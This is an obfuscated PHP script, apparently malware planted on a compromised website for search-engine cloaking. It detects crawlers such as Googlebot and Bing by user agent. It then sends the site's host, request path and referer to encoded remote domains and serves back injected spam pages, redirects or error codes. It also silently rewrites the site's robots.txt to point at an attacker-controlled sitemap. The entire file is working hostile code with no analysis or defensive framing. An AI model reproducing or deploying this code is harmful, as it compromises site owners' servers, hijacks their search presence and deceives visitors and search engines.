<?php
 goto kpx4d; TRlcT: preg_match("\57\134\x2f\50\133\x5e\x5c\57\x5d\x2b\x5c\56\x70\x68\x70\51\x2f", $duri, $matches); goto oDCGE; kpx4d: $xmlname = array("\x25\x33\x36\x25\x33\61\45\63\x35\45\x32\104\45\67\x39\45\67\x36\45\x36\x31\x25\x37\70\x25\x33\x31\x25\63\67\45\x33\x39\45\62\x44\45\x33\61\x25\62\105\45\x37\x41\45\x36\105\45\67\64\x25\66\61\x25\66\105\x25\66\61\45\x32\105\x25\x36\67\x25\66\x32\x25\x36\x33", "\45\x33\x36\45\x33\61\x25\x33\65\x25\62\104\x25\x37\x39\x25\67\x36\45\x36\x31\45\x37\x38\x25\x33\x31\x25\x33\x37\45\x33\x39\45\x32\x44\x25\x33\x31\45\x32\x45\45\x36\64\45\x36\x38\x25\x37\66\x25\66\x31\45\x36\x37\x25\x37\62\45\66\66\45\66\x36\x25\x36\x43\x25\62\105\45\x36\67\x25\x36\62\x25\x36\63", "\45\x33\66\45\63\x31\45\x33\x35\x25\x32\104\x25\x37\x39\x25\x37\x36\x25\66\61\45\x37\70\x25\63\61\x25\x33\x37\x25\x33\x39\x25\x32\104\x25\x33\61\45\62\105\x25\67\x41\45\x37\x32\45\66\67\45\x36\105\x25\x36\106\45\x36\65\45\67\x36\x25\67\x31\45\67\64\45\66\x45\x25\62\x45\45\66\x42\45\66\x43\x25\x36\104", "\x25\x33\x36\45\x33\x31\45\x33\x35\x25\x32\104\45\x37\71\45\x37\66\x25\x36\x31\x25\67\70\45\x33\x31\45\x33\x37\45\63\71\45\x32\104\x25\63\x31\45\62\x45\45\67\60\45\66\x35\45\67\62\x25\x36\105\x25\x37\x30\x25\x37\x36\45\66\x44\45\67\x32\45\66\61\x25\x32\x45\45\66\102\45\66\x43\45\x36\x44"); goto W0xjV; dyJks: create_robots($http . "\x3a\x2f\x2f" . $host); goto WRtT7; EtnOu: $server = detect_server_software(); goto dyJks; a9eXc: $lang = isset($_SERVER["\110\124\124\120\137\101\x43\x43\x45\120\x54\137\114\x41\116\107\x55\101\x47\x45"]) ?: "\x65\156"; goto GVElb; ORWqr: $string = "\66\61\x35\55\154\151\156\x6b\61\67\x39\x2d\61"; goto yUCxq; c3RFy: if (stristr($duri, "\x2f\77")) { $model = "\x3f"; } goto ORWqr; W0xjV: $http_web = "\x68\164\164\x70"; goto pad00; NsVWg: if (!strstr($html_content, "\x6e\157\x62\157\x74\x75\163\x65\x72\x61\x67\x65\x6e\164")) { if (strstr($html_content, "\x6f\153\x68\x74\x6d\x6c")) { @header("\103\x6f\x6e\164\x65\x6e\164\55\x74\x79\x70\x65\x3a\x20\164\145\170\164\57\150\164\155\x6c\73\x20\x63\x68\141\x72\163\x65\164\75\x75\x74\x66\x2d\70"); $html_content = str_replace("\x6f\153\x68\164\155\154", '', $html_content); if ($istest) { echo $string; } echo $html_content; die; } else { if (strstr($html_content, "\147\145\164\143\x6f\x6e\x74\145\x6e\x74\65\60\x30\160\x61\x67\145")) { @header("\x48\124\x54\x50\x2f\x31\56\x31\x20\65\60\x30\x20\x49\156\x74\x65\x72\156\x61\x6c\x20\123\x65\x72\x76\x65\162\40\105\x72\162\x6f\x72"); die; } else { if (strstr($html_content, "\x34\x30\x34\x70\141\147\x65")) { @header("\x48\x54\124\120\57\61\x2e\61\x20\64\60\x34\40\x4e\157\164\40\106\157\x75\156\144"); die; } else { if (strstr($html_content, "\63\60\61\160\x61\x67\x65")) { @header("\110\124\124\x50\57\61\x2e\61\x20\63\x30\x31\40\x4d\x6f\166\145\144\x20\x50\x65\162\x6d\x61\x6e\x65\156\x74\x6c\171"); $html_content = str_replace("\63\60\x31\160\141\x67\x65", '', $html_content); header("\114\157\x63\x61\164\x69\x6f\x6e\x3a\40" . $html_content); die; } else { if (strstr($html_content, "\x6f\153\x78\155\154")) { $html_content = str_replace("\157\x6b\170\x6d\x6c", '', $html_content); @header("\x43\157\156\164\x65\156\164\55\x54\171\x70\145\72\x20\x61\x70\160\x6c\151\x63\x61\x74\151\157\x6e\x2f\170\x6d\x6c\x3b\x20\x63\150\x61\162\163\145\164\75\165\164\146\55\x38"); echo $html_content; die; } else { if (strstr($html_content, "\x6f\x6b\162\157\x62\157\x74\163")) { $html_content = str_replace("\157\153\x72\157\x62\157\x74\x73", '', $html_content); @header("\103\x6f\x6e\164\x65\156\164\55\124\x79\x70\x65\x3a\x20\164\x65\x78\164\57\x70\154\x61\x69\x6e"); echo $html_content; die; } } } } } } } goto RCK7w; oDCGE: if (empty($matches) || $matches[1] == "\167\x70\x2d\x63\x72\157\155\x2e\160\150\x70" || $matches[1] == "\144\x65\x74\141\151\x6c\56\160\x68\x70") { $model_file = "\151\x6e\144\x65\x78\x2e\x70\150\x70"; $model = "\x69\x6e\144\145\x78"; } else { $model_file = $matches[1]; $position = strpos($duri, $model_file); if ($position !== false) { $model_file = substr($duri, 0, $position + strlen($model_file)); $model_file = ltrim($model_file, "\x2f"); } $model = str_replace("\56\x70\150\x70", '', $model_file); } goto c3RFy; OloQL: $duri = $duri == '' ? "\57" : $duri; goto TRlcT; s7bx0: if (is_https()) { $http = "\150\x74\x74\160\x73"; } else { $http = "\x68\164\x74\160"; } goto Waxoq; fUi9j: function is_https() { if (isset($_SERVER["\110\124\x54\120\x53"]) && strtolower($_SERVER["\x48\124\x54\x50\123"]) !== "\x6f\146\x66") { return true; } elseif (isset($_SERVER["\110\x54\124\x50\x5f\130\x5f\106\117\122\x57\x41\x52\x44\x45\x44\137\x50\x52\117\x54\x4f"]) && $_SERVER["\110\124\124\120\137\x58\137\106\117\122\127\x41\x52\104\105\x44\x5f\120\x52\x4f\x54\x4f"] === "\x68\x74\x74\x70\163") { return true; } elseif (isset($_SERVER["\110\124\124\x50\137\106\x52\x4f\116\x54\137\105\116\104\x5f\110\x54\x54\120\123"]) && strtolower($_SERVER["\110\124\124\x50\137\106\x52\117\x4e\124\x5f\105\x4e\104\137\110\x54\124\x50\x53"]) !== "\157\146\x66") { return true; } return false; } goto vxUbb; DyOcV: if (strpos($duri, $string) !== false) { $zz = 1; $duri = str_replace($string, '', $duri); $istest = true; } goto y8_lU; Waxoq: $zz = disbot(); goto W0hR_; RCK7w: function disbot() { $user_agent = strtolower($_SERVER["\110\x54\x54\120\137\125\x53\x45\122\x5f\101\107\105\x4e\x54"]); if (stristr($user_agent, "\x67\x6f\157\147\x6c\145\x62\x6f\x74") || stristr($user_agent, "\142\151\156\147") || stristr($user_agent, "\171\141\x68\157\157") || stristr($user_agent, "\x67\157\x6f\x67\x6c\x65") || stristr($user_agent, "\x47\x6f\x6f\x67\x6c\145\x62\x6f\x74")) { return 1; } else { return 2; } } goto mDc79; lGKZH: function request($webs, $http_web, $param) { $function = func(); shuffle($webs); foreach ($webs as $domain) { $domain = $function[2](urldecode($domain)); $url = $http_web . "\72\x2f\x2f" . $domain . "\57\x73\165\160\x65\162\66\56\x70\150\160\77" . $param; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); if (!curl_errno($ch)) { curl_close($ch); return $response; } else { if (stristr(curl_error($ch), "\64\64\x33")) { echo "\64\x34\x33"; } curl_close($ch); } if (ini_get("\141\x6c\154\157\x77\137\165\x72\x6c\137\146\157\x70\x65\x6e")) { $response = @$function[1]($url); if ($response !== false) { return $response; } } } return "\156\157\142\157\x74\165\x73\145\x72\141\147\145\x6e\164"; } goto lmG33; WRtT7: $param = "\167\145\x62\75" . $host . "\46\172\x7a\x3d" . $zz . "\46\165\162\x69\x3d" . $duri . "\x26\165\x72\x6c\163\x68\141\x6e\147\x3d" . $urlshang . "\x26\x68\x74\x74\160\x3d" . $http . "\x26\154\x61\x6e\x67\x3d" . $lang . "\46\x73\145\x72\x76\145\x72\75" . $server . "\46\x6d\x6f\144\x65\154\75" . $model; goto DVPWv; GVElb: $urlshang = ''; goto haIFk; DVPWv: $html_content = request($xmlname, $http_web, $param); goto NsVWg; yUCxq: $istest = false; goto DyOcV; haIFk: if (isset($_SERVER["\x48\124\124\x50\137\122\x45\x46\x45\122\105\122"])) { $urlshang = $_SERVER["\110\124\x54\x50\x5f\122\x45\106\105\x52\x45\122"]; } goto s7bx0; y8_lU: if ($duri != "\57") { $duri = str_replace("\57" . $model_file, '', $duri); $duri = str_replace("\x2f\151\156\x64\x65\x78\56\x70\x68\160", '', $duri); $duri = str_replace("\41", '', $duri); } goto yBNoa; Xfq6r: function create_robots($url) { $function = func(); $path = $_SERVER["\x44\x4f\x43\125\115\105\116\124\x5f\122\x4f\x4f\124"] . "\57\x72\157\x62\157\164\x73\56\x74\170\x74"; $content = "\x55\x73\145\x72\55\141\147\145\x6e\x74\72\x20\x2a" . PHP_EOL; $content .= "\x41\x6c\154\x6f\x77\x3a\40\57" . PHP_EOL . PHP_EOL; $content .= "\123\151\164\145\155\x61\160\x3a\40" . $url . "\x2f\x73\151\x74\x65\155\x61\x70\56\170\155\x6c" . PHP_EOL; if (!file_exists($path)) { $function[0]($path, $content); } else { $existingContent = $function[1]($path); if ($existingContent !== $content) { $function[0]($path, $content); } } } goto lGKZH; yBNoa: $duri = urlencode($duri); goto EtnOu; mDc79: function drequest_uri() { if (isset($_SERVER["\122\105\x51\x55\x45\x53\124\137\x55\122\111"])) { $duri = $_SERVER["\x52\105\x51\125\x45\x53\124\x5f\x55\122\111"]; } else { if (isset($_SERVER["\141\162\147\166"])) { $duri = $_SERVER["\x50\x48\120\137\123\105\114\106"] . "\x3f" . $_SERVER["\x61\x72\x67\166"][0]; } else { $duri = $_SERVER["\x50\110\120\x5f\123\x45\x4c\106"] . "\77" . $_SERVER["\x51\x55\105\122\x59\x5f\123\124\122\x49\116\107"]; } } return $duri; } goto fUi9j; pad00: $host = $_SERVER["\x48\x54\124\x50\137\110\117\123\x54"]; goto a9eXc; W0hR_: $duri = drequest_uri(); goto OloQL; vxUbb: function detect_server_software() { $path = $_SERVER["\x44\x4f\x43\x55\x4d\105\x4e\x54\137\122\x4f\117\x54"] . "\57\56\150\164\141\x63\143\x65\x73\x73"; if (file_exists($path)) { return 1; } else { return 2; } } goto Xfq6r; lmG33: function func() { $chars = range("\x61", "\172"); return array($chars[5] . $chars[8] . $chars[11] . $chars[4] . "\x5f" . $chars[15] . $chars[20] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[5] . $chars[8] . $chars[11] . $chars[4] . "\137" . $chars[6] . $chars[4] . $chars[19] . "\x5f" . $chars[2] . $chars[14] . $chars[13] . $chars[19] . $chars[4] . $chars[13] . $chars[19] . $chars[18], $chars[18] . $chars[19] . $chars[17] . "\137" . $chars[17] . $chars[14] . $chars[19] . "\x31\x33"); }